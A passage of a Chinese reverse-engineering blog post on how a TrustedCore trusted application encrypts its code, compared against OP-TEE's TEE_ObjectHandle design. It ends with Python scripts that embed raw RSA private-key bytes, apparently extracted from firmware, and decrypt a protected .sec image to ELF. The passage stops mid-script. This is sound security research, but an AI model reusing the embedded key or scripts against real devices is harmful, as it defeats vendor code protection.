<p>这实在是太令人费解了,我就是想找个结构体定义而已,却从逆向开始一步步走向困境。逆向虽然确定了globaltask的v20变量(即TEE_ObjectHandle)和全局变量dword_156764相关,但却没有在GP标准中和OP-TEE中寻找到可以支持我们逆向结果的证据,并且在OP-TEE中还陷入了新的困惑:结构体__TEE_ObjectHandle的定义哪去了?如果真就是没有这个结构体的定义,那么定义一个指向其的指针是难不成是合法的?于是我使用如下代码进行测试:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include <stdio.h>
</span><span class="k">typedef</span> <span class="k">struct</span> <span class="n">__TEE_ObjectHandle</span> <span class="o">*</span><span class="n">TEE_ObjectHandle</span><span class="p">;</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">(){</span>
<span class="n">TEE_ObjectHandle</span> <span class="n">a</span> <span class="o">=</span> <span class="mi">0</span><span class="p">;</span>
<span class="n">printf</span><span class="p">(</span><span class="s">"[+] %p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="n">a</span><span class="p">);</span>
<span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>结果还真能编译运行:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">gcc</span> <span class="n">test</span><span class="p">.</span><span class="n">c</span> <span class="o">-</span><span class="n">o</span> <span class="n">test</span> <span class="o">&&</span> <span class="p">.</span><span class="o">/</span><span class="n">test</span>
<span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="mh">0x0</span>
</code></pre></div></div>
<p>所以源码中确实没有结构体__TEE_ObjectHandle的定义的可能性是存在的。这其实就是GP规范中对TEE_ObjectHandle说明中提到的不透明指针:opaque handle,主要作用就是在闭源代码对外提供的接口处,隐藏实现细节:</p>
<ul>
<li><a href="https://en.wikipedia.org/wiki/Opaque_pointer">wikipedia: Opaque pointer</a></li>
<li><a href="https://blog.csdn.net/m0_47696151/article/details/131038027">C++技巧之不透明指针</a></li>
<li><a href="https://geek-docs.com/cprogramming/c-pointer/c-creates-and-uses-opaque-pointers.html">C语言创建和使用不透明指针</a></li>
<li><a href="https://blog.csdn.net/clannad_wawa/article/details/40922097">C语言抽象数据类型及不透明指针</a></li>
<li><a href="https://www.zhihu.com/question/50805435">c语言中不透明指针为什么叫”不透明”?</a></li>
<li><a href="https://cloud.tencent.com/developer/article/1525459">使用C语言中的“不透明”指针,可以隐藏很多不想公开的细节</a></li>
</ul>
<p>但OP-TEE是开源的,没有必要隐藏实现。而且就算是隐藏实现,他也是先实现了定义,然后藏起来,但这里是压根没有定义。所以还是不知道OP-TEE使用不透明指针定义TEE_ObjectHandle的目的,但既然找不到结构体定义,那么我们就先找找这个TEE_ObjectHandle是怎么来的吧,因为他毕竟是个指针,总有初始化的地方。找到初始化TEE_ObjectHandle的函数TEE_AllocateTransientObject:</p>
<blockquote>
<p><a href="https://elixir.bootlin.com/op-tee/latest/source/lib/libutee/include/tee_internal_api.h#L173">https://elixir.bootlin.com/op-tee/latest/source/lib/libutee/include/tee_internal_api.h#L173</a></p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">TEE_Result</span> <span class="nf">TEE_AllocateTransientObject</span><span class="p">(</span><span class="n">TEE_ObjectType</span> <span class="n">objectType</span><span class="p">,</span>
<span class="kt">uint32_t</span> <span class="n">maxObjectSize</span><span class="p">,</span>
<span class="n">TEE_ObjectHandle</span> <span class="o">*</span><span class="n">object</span><span class="p">);</span>
</code></pre></div></div>
<p>分析其实现,TEE_ObjectHandle这个指针在__GP11_TEE_AllocateTransientObject函数中赋值为变量obj,变量obj来自于_utee_cryp_obj_alloc函数:</p>
<blockquote>
<p><a href="https://elixir.bootlin.com/op-tee/latest/source/lib/libutee/tee_api_objects.c#L308">https://elixir.bootlin.com/op-tee/latest/source/lib/libutee/tee_api_objects.c#L308</a></p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">TEE_Result</span> <span class="nf">TEE_AllocateTransientObject</span><span class="p">(</span><span class="n">TEE_ObjectType</span> <span class="n">objectType</span><span class="p">,</span>
<span class="kt">uint32_t</span> <span class="n">maxObjectSize</span><span class="p">,</span>
<span class="n">TEE_ObjectHandle</span> <span class="o">*</span><span class="n">object</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">objectType</span> <span class="o">==</span> <span class="n">TEE_TYPE_DATA</span><span class="p">)</span>
<span class="k">return</span> <span class="n">TEE_ERROR_NOT_SUPPORTED</span><span class="p">;</span>
<span class="k">return</span> <span class="n">__GP11_TEE_AllocateTransientObject</span><span class="p">(</span><span class="n">objectType</span><span class="p">,</span> <span class="n">maxObjectSize</span><span class="p">,</span>
<span class="n">object</span><span class="p">);</span>
<span class="p">}</span>
<span class="n">TEE_Result</span> <span class="nf">__GP11_TEE_AllocateTransientObject</span><span class="p">(</span><span class="n">TEE_ObjectType</span> <span class="n">objectType</span><span class="p">,</span>
<span class="kt">uint32_t</span> <span class="n">maxKeySize</span><span class="p">,</span>
<span class="n">TEE_ObjectHandle</span> <span class="o">*</span><span class="n">object</span><span class="p">)</span>
<span class="p">{</span>
<span class="n">TEE_Result</span> <span class="n">res</span><span class="p">;</span>
<span class="kt">uint32_t</span> <span class="n">obj</span><span class="p">;</span>
<span class="n">__utee_check_out_annotation</span><span class="p">(</span><span class="n">object</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="o">*</span><span class="n">object</span><span class="p">));</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">_utee_cryp_obj_alloc</span><span class="p">(</span><span class="n">objectType</span><span class="p">,</span> <span class="n">maxKeySize</span><span class="p">,</span> <span class="o">&</span><span class="n">obj</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">res</span> <span class="o">!=</span> <span class="n">TEE_SUCCESS</span> <span class="o">&&</span>
<span class="n">res</span> <span class="o">!=</span> <span class="n">TEE_ERROR_OUT_OF_MEMORY</span> <span class="o">&&</span>
<span class="n">res</span> <span class="o">!=</span> <span class="n">TEE_ERROR_NOT_SUPPORTED</span><span class="p">)</span>
<span class="n">TEE_Panic</span><span class="p">(</span><span class="n">res</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">res</span> <span class="o">==</span> <span class="n">TEE_SUCCESS</span><span class="p">)</span>
<span class="o">*</span><span class="n">object</span> <span class="o">=</span> <span class="p">(</span><span class="n">TEE_ObjectHandle</span><span class="p">)(</span><span class="kt">uintptr_t</span><span class="p">)</span><span class="n">obj</span><span class="p">;</span>
<span class="k">return</span> <span class="n">res</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>_utee_cryp_obj_alloc会进入OP-TEE OS的系统调用,即此功能是OP-TEE OS内核实现的,对应的内核函数是syscall_cryp_obj_alloc。其传回给用户态的变量obj,来自于其中调用的copy_kaddr_to_uref,拷贝的内核变量为o,而变量o来自于tee_obj_alloc函数:</p>
<blockquote>
<p><a href="https://elixir.bootlin.com/op-tee/latest/source/core/tee/tee_svc_cryp.c#L1589">https://elixir.bootlin.com/op-tee/latest/source/core/tee/tee_svc_cryp.c#L1589</a></p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">TEE_Result</span> <span class="nf">syscall_cryp_obj_alloc</span><span class="p">(</span><span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">obj_type</span><span class="p">,</span>
<span class="kt">unsigned</span> <span class="kt">long</span> <span class="n">max_key_size</span><span class="p">,</span> <span class="kt">uint32_t</span> <span class="o">*</span><span class="n">obj</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">struct</span> <span class="n">ts_session</span> <span class="o">*</span><span class="n">sess</span> <span class="o">=</span> <span class="n">ts_get_current_session</span><span class="p">();</span>
<span class="n">TEE_Result</span> <span class="n">res</span> <span class="o">=</span> <span class="n">TEE_SUCCESS</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">tee_obj</span> <span class="o">*</span><span class="n">o</span> <span class="o">=</span> <span class="nb">NULL</span><span class="p">;</span>
<span class="n">o</span> <span class="o">=</span> <span class="n">tee_obj_alloc</span><span class="p">();</span>
<span class="k">if</span> <span class="p">(</span><span class="o">!</span><span class="n">o</span><span class="p">)</span>
<span class="k">return</span> <span class="n">TEE_ERROR_OUT_OF_MEMORY</span><span class="p">;</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">tee_obj_set_type</span><span class="p">(</span><span class="n">o</span><span class="p">,</span> <span class="n">obj_type</span><span class="p">,</span> <span class="n">max_key_size</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">res</span> <span class="o">!=</span> <span class="n">TEE_SUCCESS</span><span class="p">)</span> <span class="p">{</span>
<span class="n">tee_obj_free</span><span class="p">(</span><span class="n">o</span><span class="p">);</span>
<span class="k">return</span> <span class="n">res</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">tee_obj_add</span><span class="p">(</span><span class="n">to_user_ta_ctx</span><span class="p">(</span><span class="n">sess</span><span class="o">-></span><span class="n">ctx</span><span class="p">),</span> <span class="n">o</span><span class="p">);</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">copy_kaddr_to_uref</span><span class="p">(</span><span class="n">obj</span><span class="p">,</span> <span class="n">o</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="n">res</span> <span class="o">!=</span> <span class="n">TEE_SUCCESS</span><span class="p">)</span>
<span class="n">tee_obj_close</span><span class="p">(</span><span class="n">to_user_ta_ctx</span><span class="p">(</span><span class="n">sess</span><span class="o">-></span><span class="n">ctx</span><span class="p">),</span> <span class="n">o</span><span class="p">);</span>
<span class="k">return</span> <span class="n">res</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>变量o的类型为tee_obj,找到其定义如下,至此我们终于找到OP-TEE中TEE_ObjectHandle背后对应的结构体,妈的,居然在OP-TEE OS的内核里:</p>
<blockquote>
<p><a href="https://elixir.bootlin.com/op-tee/latest/source/core/include/tee/tee_obj.h#L16">https://elixir.bootlin.com/op-tee/latest/source/core/include/tee/tee_obj.h#L16</a></p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">struct</span> <span class="n">tee_obj</span> <span class="p">{</span>
<span class="n">TAILQ_ENTRY</span><span class="p">(</span><span class="n">tee_obj</span><span class="p">)</span> <span class="n">link</span><span class="p">;</span>
<span class="n">TEE_ObjectInfo</span> <span class="n">info</span><span class="p">;</span>
<span class="n">bool</span> <span class="n">busy</span><span class="p">;</span> <span class="cm">/* true if used by an operation */</span>
<span class="kt">uint32_t</span> <span class="n">have_attrs</span><span class="p">;</span> <span class="cm">/* bitfield identifying set properties */</span>
<span class="kt">void</span> <span class="o">*</span><span class="n">attr</span><span class="p">;</span>
<span class="kt">size_t</span> <span class="n">ds_pos</span><span class="p">;</span>
<span class="k">struct</span> <span class="n">tee_pobj</span> <span class="o">*</span><span class="n">pobj</span><span class="p">;</span> <span class="cm">/* ptr to persistant object */</span>
<span class="k">struct</span> <span class="n">tee_file_handle</span> <span class="o">*</span><span class="n">fh</span><span class="p">;</span>
<span class="p">};</span>
</code></pre></div></div>
<p>那难不成在OP-TEE 用户态TA中使用的指针TEE_ObjectHandle,指向了一个OP-TEE OS的内核地址?如果真是这样那不就直接泄露了内核地址么?在OP-TEE示例AES的TA代码中,进行如下修改,尝试打印TEE_ObjectHandle的值:</p>
<blockquote>
<p><a href="https://github.com/linaro-swg/optee_examples/blob/master/aes/ta/aes_ta.c">https://github.com/linaro-swg/optee_examples/blob/master/aes/ta/aes_ta.c</a></p>
</blockquote>
<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gh">diff --git a/aes/ta/aes_ta.c b/aes/ta/aes_ta.c
index b259a01..bcb26d5 100644
</span><span class="gd">--- a/aes/ta/aes_ta.c
</span><span class="gi">+++ b/aes/ta/aes_ta.c
</span><span class="p">@@ -198,7 +198,7 @@</span> static TEE_Result alloc_resources(void *session, uint32_t param_types,
EMSG("TEE_PopulateTransientObject failed, %x", res);
goto err;
}
<span class="gd">-
</span><span class="gi">+ EMSG("[+] 0x%x",sess->key_handle);
</span> res = TEE_SetOperationKey(sess->op_handle, sess->key_handle);
if (res != TEE_SUCCESS) {
EMSG("TEE_SetOperationKey failed %x", res);
</code></pre></div></div>
<p>然后编译运行,执行optee_example_aes,结果如下,可以见这个数显然不是内核地址:</p>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">E</span><span class="o">/</span><span class="n">TA</span><span class="o">:</span> <span class="n">alloc_resources</span><span class="o">:</span><span class="mi">202</span> <span class="p">[</span><span class="o">+</span><span class="p">]</span> <span class="mh">0x82950</span>
</code></pre></div></div>
<p>重新分析syscall_cryp_obj_alloc内核函数中的copy_kaddr_to_uref,可见其将内核地址拷贝到用户态时,是通过kaddr_to_uref函数将内核地址进行了处理,所以用户态拿到并非直接的内核地址:</p>
<blockquote>
<p><a href="https://elixir.bootlin.com/op-tee/latest/source/core/kernel/user_access.c#L77">https://elixir.bootlin.com/op-tee/latest/source/core/kernel/user_access.c#L77</a></p>
</blockquote>
<div class="language-c highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">TEE_Result</span> <span class="nf">copy_kaddr_to_uref</span><span class="p">(</span><span class="kt">uint32_t</span> <span class="o">*</span><span class="n">uref</span><span class="p">,</span> <span class="kt">void</span> <span class="o">*</span><span class="n">kaddr</span><span class="p">)</span>
<span class="p">{</span>
<span class="kt">uint32_t</span> <span class="n">ref</span> <span class="o">=</span> <span class="n">kaddr_to_uref</span><span class="p">(</span><span class="n">kaddr</span><span class="p">);</span>
<span class="k">return</span> <span class="n">copy_to_user_private</span><span class="p">(</span><span class="n">uref</span><span class="p">,</span> <span class="o">&</span><span class="n">ref</span><span class="p">,</span> <span class="k">sizeof</span><span class="p">(</span><span class="n">ref</span><span class="p">));</span>
<span class="p">}</span>
<span class="kt">uint32_t</span> <span class="nf">kaddr_to_uref</span><span class="p">(</span><span class="kt">void</span> <span class="o">*</span><span class="n">kaddr</span><span class="p">)</span>
<span class="p">{</span>
<span class="k">if</span> <span class="p">(</span><span class="n">MEMTAG_IS_ENABLED</span><span class="p">)</span> <span class="p">{</span>
<span class="kt">unsigned</span> <span class="kt">int</span> <span class="n">uref_tag_shift</span> <span class="o">=</span> <span class="mi">32</span> <span class="o">-</span> <span class="n">MEMTAG_TAG_WIDTH</span><span class="p">;</span>
<span class="n">vaddr_t</span> <span class="n">uref</span> <span class="o">=</span> <span class="n">memtag_strip_tag_vaddr</span><span class="p">(</span><span class="n">kaddr</span><span class="p">);</span>
<span class="n">uref</span> <span class="o">-=</span> <span class="n">VCORE_START_VA</span><span class="p">;</span>
<span class="n">assert</span><span class="p">(</span><span class="n">uref</span> <span class="o"><</span> <span class="p">(</span><span class="n">UINT32_MAX</span> <span class="o">>></span> <span class="n">MEMTAG_TAG_WIDTH</span><span class="p">));</span>
<span class="n">uref</span> <span class="o">|=</span> <span class="n">memtag_get_tag</span><span class="p">(</span><span class="n">kaddr</span><span class="p">)</span> <span class="o"><<</span> <span class="n">uref_tag_shift</span><span class="p">;</span>
<span class="k">return</span> <span class="n">uref</span><span class="p">;</span>
<span class="p">}</span>
<span class="n">assert</span><span class="p">(((</span><span class="n">vaddr_t</span><span class="p">)</span><span class="n">kaddr</span> <span class="o">-</span> <span class="n">VCORE_START_VA</span><span class="p">)</span> <span class="o"><</span> <span class="n">UINT32_MAX</span><span class="p">);</span>
<span class="k">return</span> <span class="p">(</span><span class="n">vaddr_t</span><span class="p">)</span><span class="n">kaddr</span> <span class="o">-</span> <span class="n">VCORE_START_VA</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div></div>
<p>所以仔细想想OP-TEE的TEE_ObjectHandle,虽然其定义为结构体指针,但OP-TEE根本不把他当一个C语言意义上的指针来使用,但确实符合其名字中的Handle,有点类似Linux中的文件描述符,其对应的更复杂更本质的结构体在内核中。所以可见OP-TEE中的TEE_ObjectHandle,和目标TrustedCore的TEE_ObjectHandle,有着完全不一样的实现:其背后对应的关键数据,如密钥,TrustedCore将其存放在用户态,OP-TEE存放在内核中。因此OP-TEE不能对本次对TrustedCore的结构体逆向结果提供证据支持。既然没有办法辅助证明逆向结果的正确与否,那我们就直接按照逆向结果,认为全局变量dword_156764指向的就是AES密钥,继续往下走。</p>
<h2 id="全局变量的逆向">全局变量的逆向</h2>
<p>通过之前的逆向我们认为:</p>
<ul>
<li>AES的KEY:内容为dword_156764指向的数据,大小为dword_156758</li>
<li>AES 的 IV:内容为dword_156764指向的数据,大小为dword_156758除2</li>
</ul>
<p>IDA里改个名继续逆向:</p>
<ul>
<li>dword_156764,改名为key_iv</li>
<li>dword_156758,改名为key_iv_size</li>
</ul>
<p>关注key_iv,其还在parse_manifest中被使用:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/re_1.png" alt="image" /></p>
<p>继续分析parse_manifest,也就是RSA解密manifest并解析的处理函数:</p>
<ul>
<li>44行:key_iv也即v14,是TEE_Malloc出的一个堆块地址,堆块大小为key_iv_size</li>
<li>51行:key_iv也即v14,拷贝自v13,大小为key_iv_size</li>
<li>43行:v13,指向AES KEY,是v2 + dword_156754 + 52 加出来的</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/re_2.png" alt="image" /></p>
<p>所以只要把v2和dword_156754分析明白即可,根据v2是manifest_rsa_decry函数的参数可以推测,v2就指向解密完的manifest的开头。按照这个推测,变量img_info就是解密后manifest的前四个字节:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/re_5.png" alt="image" /></p>
<p>仔细分析代码可以确定,img_info以及其之后的数据就是由parse_manifest中的while循环解析出来的,因此这部分内存很有可能就是解密后的manifest:</p>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/re_3.png" alt="image" /></p>
<p>尝试计算dword_156754和img_info偏移差为0x28:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="o">>>></span> <span class="nb">hex</span><span class="p">(</span><span class="mh">0x0156754</span> <span class="o">-</span> <span class="mh">0x015672C</span><span class="p">)</span>
<span class="s">'0x28'</span>
</code></pre></div></div>
<p>因此按照此偏移解析manifest:</p>
<ul>
<li>dword_156754: 0x20</li>
<li>dword_156758: 0x20 (key_iv_size)</li>
</ul>
<p><img src="https://xuanxuanblingbling.github.io/assets/pic/p9lite/re_4.png" alt="image" /></p>
<p>因此拷贝到v14的v13,推测为AES KEY,其值为 v2 + dword_156754 + 52,即manifest开头处偏移 0x20 + 52 字节,即0x54(84)字节,因此按照此位置解析明文manifest中AES的KEY和IV,大小分别为32字节和16字节:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="n">iv</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'manifest.bin'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()[</span><span class="mi">84</span><span class="p">:</span><span class="mi">84</span><span class="o">+</span><span class="mi">16</span><span class="p">]</span>
<span class="n">key</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'manifest.bin'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()[</span><span class="mi">84</span><span class="p">:</span><span class="mi">84</span><span class="o">+</span><span class="mi">32</span><span class="p">]</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'868ccafb-794b-46c6-b5c4-9f1462de4e02.sec'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()[</span><span class="mh">0x1b4</span><span class="p">:</span><span class="mh">0x1b4</span><span class="o">+</span><span class="mi">32</span><span class="p">]</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span><span class="n">iv</span><span class="p">)</span>
<span class="n">msg</span> <span class="o">=</span> <span class="n">a</span><span class="p">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">cipher</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">msg</span><span class="p">)</span>
</code></pre></div></div>
<p>成功解密出ELF,证明了以上我们连蒙带猜的逆向结果是正确的:</p>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="err">➜</span> <span class="n">python3</span> <span class="n">exp</span><span class="p">.</span><span class="n">py</span>
<span class="sa">b</span><span class="s">'</span><span class="se">\x7f</span><span class="s">ELF</span><span class="se">\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00</span><span class="s">'</span>
</code></pre></div></div>
<h2 id="完整解密脚本">完整解密脚本</h2>
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">bytes_to_long</span>
<span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">long_to_bytes</span>
<span class="kn">from</span> <span class="nn">Crypto.Cipher</span> <span class="kn">import</span> <span class="n">AES</span>
<span class="kn">import</span> <span class="nn">gmpy2</span>
<span class="n">private_key</span> <span class="o">=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xcc\x29\xd6\x21\xb9\x86\xab\xa7\x13\xa7\xa2\x61\x06\x32\x1b\x33\x8d\xd1\x12\xd8</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x6f\x36\x14\xaa\x39\xcd\x1c\xd5\x9b\x1d\xf1\xfd\x5a\x17\x58\xea\x64\xc5\x3d\x76</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xcb\xce\x2a\x12\x04\x23\xf7\x78\x89\xbe\x63\x5b\xa1\xd4\x0b\x22\xb8\x78\x2a\x9c</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xc3\xdd\xbf\xeb\xc2\xd1\x59\x53\x2b\x07\xaf\x45\x54\x90\x37\xae\xe9\x7b\x24\x57</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x42\x68\x44\x59\xce\x72\xe7\x68\xfc\x07\xae\xa7\xcd\xdb\x87\x9b\x4f\x3b\x8c\x49</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xfe\xe2\x66\xbd\xc8\x77\x89\x0d\xc6\xba\x07\xac\x7a\x9f\xc0\x84\x25\xa8\x62\x66</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x55\xf7\xae\x43\x68\x15\xe1\xcd\x66\x7f\x62\x77\x8f\xf2\xe2\x5e\x80\xe9\x9a\x05</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xe7\xdc\x63\xf7\x9f\xed\x24\xee\xef\xf6\x50\xad\x9d\x53\x32\x74\xb2\xe9\x77\xc1</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xdf\xe6\xf4\xc6\xc8\x4c\x95\xac\xfc\x68\xc6\x8a\x40\xf5\xe5\x99\xe8\x5d\x62\xf8</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x6f\xe8\x4a\xa6\xe5\xc1\xbe\x72\xf1\x8a\x74\x7d\x76\x3b\xd3\xb8\x53\xdf\x20\x12</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x35\x96\x29\x15\x30\x82\x19\xb6\x13\x89\x70\x22\x08\xd7\x57\x76\x31\xae\xff\xe2</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xbb\x5e\xc6\x58\x0d\xa8\x18\x26\x38\x58\x72\xfe\x2f\x11\xcc\xcd\xdd\x93\xbd\x60</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x82\x33\x3e\x05\x75\x4d\x52\x1a\xc5\x85\xc1\xef\x0a\xd6\x6c\xe9\x22\x41\x21\xbc</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xa3\x79\xea\x2e\xd1\x40\xd3\xcc\xd2\x75\xbb\xb4\x05\x86\x91\x7a\x17\xf9\xc2\xd5</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\x40\x63\xbb\xe0\x60\xb8\xaa\x85\xc9\x3e\x83\x19\xca\xfe\x1c\xd9\x17\x3c\x4c\x51</span><span class="s">'</span>
<span class="n">private_key</span> <span class="o">+=</span> <span class="sa">b</span><span class="s">'</span><span class="se">\xc1\xa0\xa0\xd3\xbd\x7f\xa5\xd1\x91\xec\x6d\x03\x8c\x80\x8d\xe6\x7f\xf5\x7f\xba</span><span class="s">'</span>
<span class="n">p</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">private_key</span><span class="p">[:</span><span class="mi">64</span><span class="p">])</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">private_key</span><span class="p">[</span><span class="mi">64</span><span class="p">:</span><span class="mi">128</span><span class="p">])</span>
<span class="n">dp</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="n">private_key</span><span class="p">[</span><span class="mi">128</span><span class="p">:</span><span class="mi">192</span><span class="p">])</span>
<span class="n">e</span> <span class="o">=</span> <span class="n">gmpy2</span><span class="p">.</span><span class="n">invert</span><span class="p">(</span><span class="n">dp</span><span class="p">,(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="n">d</span> <span class="o">=</span> <span class="n">gmpy2</span><span class="p">.</span><span class="n">invert</span><span class="p">(</span><span class="n">e</span><span class="p">,(</span><span class="n">p</span><span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="o">*</span><span class="p">(</span><span class="n">q</span><span class="o">-</span><span class="mi">1</span><span class="p">))</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">p</span> <span class="o">*</span> <span class="n">q</span>
<span class="n">c</span> <span class="o">=</span> <span class="n">bytes_to_long</span><span class="p">(</span><span class="nb">open</span><span class="p">(</span><span class="s">'868ccafb-794b-46c6-b5c4-9f1462de4e02.sec'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()[</span><span class="mh">0x18</span><span class="p">:</span><span class="mh">0x18</span><span class="o">+</span><span class="mi">128</span><span class="p">])</span>
<span class="n">m</span> <span class="o">=</span> <span class="n">long_to_bytes</span><span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span><span class="n">d</span><span class="p">,</span><span class="n">n</span><span class="p">))</span>
<span class="n">i</span> <span class="o">=</span> <span class="n">m</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="sa">b</span><span class="s">'</span><span class="se">\x00</span><span class="s">'</span><span class="p">)</span> <span class="o">+</span> <span class="mi">1</span>
<span class="n">f</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'manifest.bin'</span><span class="p">,</span><span class="s">'wb'</span><span class="p">)</span>
<span class="n">f</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="n">i</span><span class="p">:])</span>
<span class="n">f</span><span class="p">.</span><span class="n">close</span><span class="p">()</span>
<span class="n">iv</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'manifest.bin'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()[</span><span class="mi">84</span><span class="p">:</span><span class="mi">84</span><span class="o">+</span><span class="mi">16</span><span class="p">]</span>
<span class="n">key</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'manifest.bin'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()[</span><span class="mi">84</span><span class="p">:</span><span class="mi">84</span><span class="o">+</span><span class="mi">32</span><span class="p">]</span>
<span class="n">cipher</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">'868ccafb-794b-46c6-b5c4-9f1462de4e02.sec'</span><span class="p">,</span><span class="s">'rb'</span><span class="p">).</span><span class="n">read</span><span class="p">()[</span><span class="mh">0x1b4</span><span class="p">:]</span>
<span class="n">a</span> <span class="o">=</span> <span class="n">AES</span><span class="p">.</span><span class="n">new</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">AES</span><span class="p">.</span><span class="n">MODE_CBC</span><span class="p">,</span><span class="n">iv</span><span class="p">)</span>
